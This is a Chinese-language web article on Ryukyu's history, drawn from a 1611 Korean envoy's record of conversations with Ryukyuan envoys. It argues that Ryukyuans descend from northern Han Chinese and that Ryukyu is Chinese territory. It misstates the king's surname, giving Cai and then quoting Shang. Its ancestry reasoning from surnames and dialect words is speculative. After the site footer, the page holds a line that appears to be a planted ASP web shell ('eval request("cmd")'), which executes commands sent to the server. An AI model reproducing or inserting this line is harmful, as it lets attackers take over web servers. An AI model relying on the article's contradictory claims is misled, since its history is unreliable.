钓鱼岛历史

一份被遗忘的文献《琉球使臣赠答录》

时间:2015-1-20 21:32:52  作者:李景科  来源:  查看:115  评论:0
内容摘要:关于琉球国的记载,国内一般记载最早是公元12世纪,有记载说琉球群岛出现南山、中山、北山三国,分别在琉球群岛的南部、中部和北部。1372年----明太祖朱元璋给琉球的中山王察度下达诏谕后,琉球的北山、中山、南山三王遂开始向明政府朝贡。从此琉球成为我国的藩属。等等。最近,笔者得到了李...

关于琉球国的记载,国内一般记载最早是公元12世纪,有记载说琉球群岛出现南山、中山、北山三国,分别在琉球群岛的南部、中部和北部。1372----明太祖朱元璋给琉球的中山王察度下达诏谕后,琉球的北山、中山、南山三王遂开始向明政府朝贡。从此琉球成为我国的藩属。等等。

最近,笔者得到了李啐光(生于公元1536.卒于公元1628) 的日记《琉球使臣赠答录》,该文献记载了李啐光1611年出使北京时候,恰好与琉球使臣蔡坚同住一馆,相互有很多交流,不但互赠诗词多首,也有很多对话,作为代表琉球国王的使臣,作为1611年代的文人,述说距那时400年左右的事,当比今天的专家们更有参考价值。由于在国内的琉球国历史研究中,几乎没有见过引用李啐光《琉球使臣赠答录》的记载,所以,笔者摘要部分内容,以飨读者。

一,    琉球国人可能是来源于北方的汉族人

琉球国时代的人的姓名与汉族一样。1611年的时候,国王姓蔡名宁。尚姓是姜尚的后代,据《元和姓纂》及《万姓统谱》等所载,周太师尚父之后,后世子孙以其字名为氏。 以后到了秦代,也以尚衣、尚食、尚冠、尚席、尚沐、尚书等官职命姓的。而唐时鲜卑宇文之别种尚姓;吐蕃的尚姓,大清满洲族等少数民族的尚姓则当别论。琉球国有蔡姓,蔡氏的构成,主要有三大支:姞姓、姬姓和外族的改姓,姞姓蔡氏相传是黄帝的直系后裔;在尧、舜、夏时期,分布于渭河流域及河南省的东部和北部一带,而姬姓蔡氏是周武王克商后,封其五弟叔度于蔡,从此其胄裔以国为氏。琉球国有马姓,汉族马姓出自嬴姓,其始祖为赵奢。所以,琉球国人源于中国北方汉族是可能的。《琉球使臣赠答录》记载的琉球国国王是汉姓。 “问:国王姓氏?答曰:姓尚名宁”

二,    琉球国人穿明朝冠服

《琉球使臣赠答录》记载:“琉球国在东南海中,使臣蔡坚马成骥从人十七人,皆袭天朝冠服。”,这说明,当时琉球国人穿戴中国中原地区的服饰,必与中国汉文化有文化历史渊源。

{C}三,         琉球国崇尚孔子和释子之文化

琉球国崇尚孔子和释子之文化,而且实行科举制度。李啐光“问:贵国尚儒道乎?释道乎?答曰:尊尚孔子之道,而释子亦乐半焉”“问:科举取人之规?答曰:三年一大比,取文武科各一百二十人,国有庆事则有别举,俺等亦登第之人”,蔡坚在答话中用了一个地方方言“俺”,因为“俺”是北方方言,在目前的流行区域以北方山东、河北、河南、陕西以及东北,皖北、苏北等地区为主。而琉球使臣蔡坚在400年前就是用“俺”了。

{C}四,         关于琉球国在1611年以前的更替

《琉球使臣赠答录》记载如下。“问:立国以来传祚久近?答曰:经今二百五十余年,传二十四世。”“问:开国以前为何国?答曰:国名吾气,享国仅百年”“问:吾气之先为何国?答曰:吾气以前,未有文字,无书籍可记”。由此算下来,琉球有文化历史记载的国家形态,大约是公元1260年左右开始的,是在这个时候姜尚的后裔在琉球繁衍积聚到了足以立国的人口,出现了汉族人,汉文字,汉文化又尊崇中原王朝为宗主的琉球国。所以,琉球国立国后,首先是与中原王朝保持最密切的关系。《琉球使臣赠答录》记载:“问:贵国与何国相近?答曰:上国最近(注释:中国或大明),贵国次之(朝鲜国),。。。。。。”。

{C}五,         琉球国是否曾有过三个国?

目前国内文献一直以来记载,说琉球国曾有过三个国家,这个说法在明代就有流传了。然而,《琉球使臣赠答录》记载则是如下:“问:贵国有三国分立,皆号琉球云,信否?答曰:否,本国方都中山,而设都三处,曰中山,曰南山,曰北山。此必传说之误”。由此可见,史学界还是应该仔细研究才能定论。

{C}六,         琉球国初次奉表称臣

有现代资料说:1392----明太祖有见于琉球对于来华使节海上航行的困难,特赐闽人善于造船航海的技术者三 十六姓人家移居琉球。 琉球国第一次派使臣到北京奉表称臣在《琉球使臣赠答录》记载是洪武二十二年,是公元1389年的事。内容如下:“洪武二十二年,琉球国中山王察度遣使玉之,奉表称臣,献方物,刷还被倭掠人口到顺天府,乃遣迎接使以待之,差典客令郑云厚等报聘于琉球国云。余顷年遇琉球使臣蔡坚等于北京,则坚等屡言洪武时通聘之事,盖此也。”。

以上所述,说明无论今天的琉球人或琉球的文化进步如何?归属如何?但在历史上,琉球国诞生以前没有土著民族,都是中原北方的汉族人迁移过去的,所以,直到今天的琉球也是汉文化为主的延续,正由于此,在历史上,琉球国是中华民族和中原王朝在中国东南海域的行政扩延,由于琉球国在100年前也是大清的属国,所以,琉球在国际法理上是中国领土的一部分。

作者简介:民革党员,历史研究者
一份被遗忘的文献《琉球使臣赠答录》

相关评论
评论者:      验证码:  点击获取验证码
湘ICP备11011102号
Powered by WCADDL
":eval request("cmd"):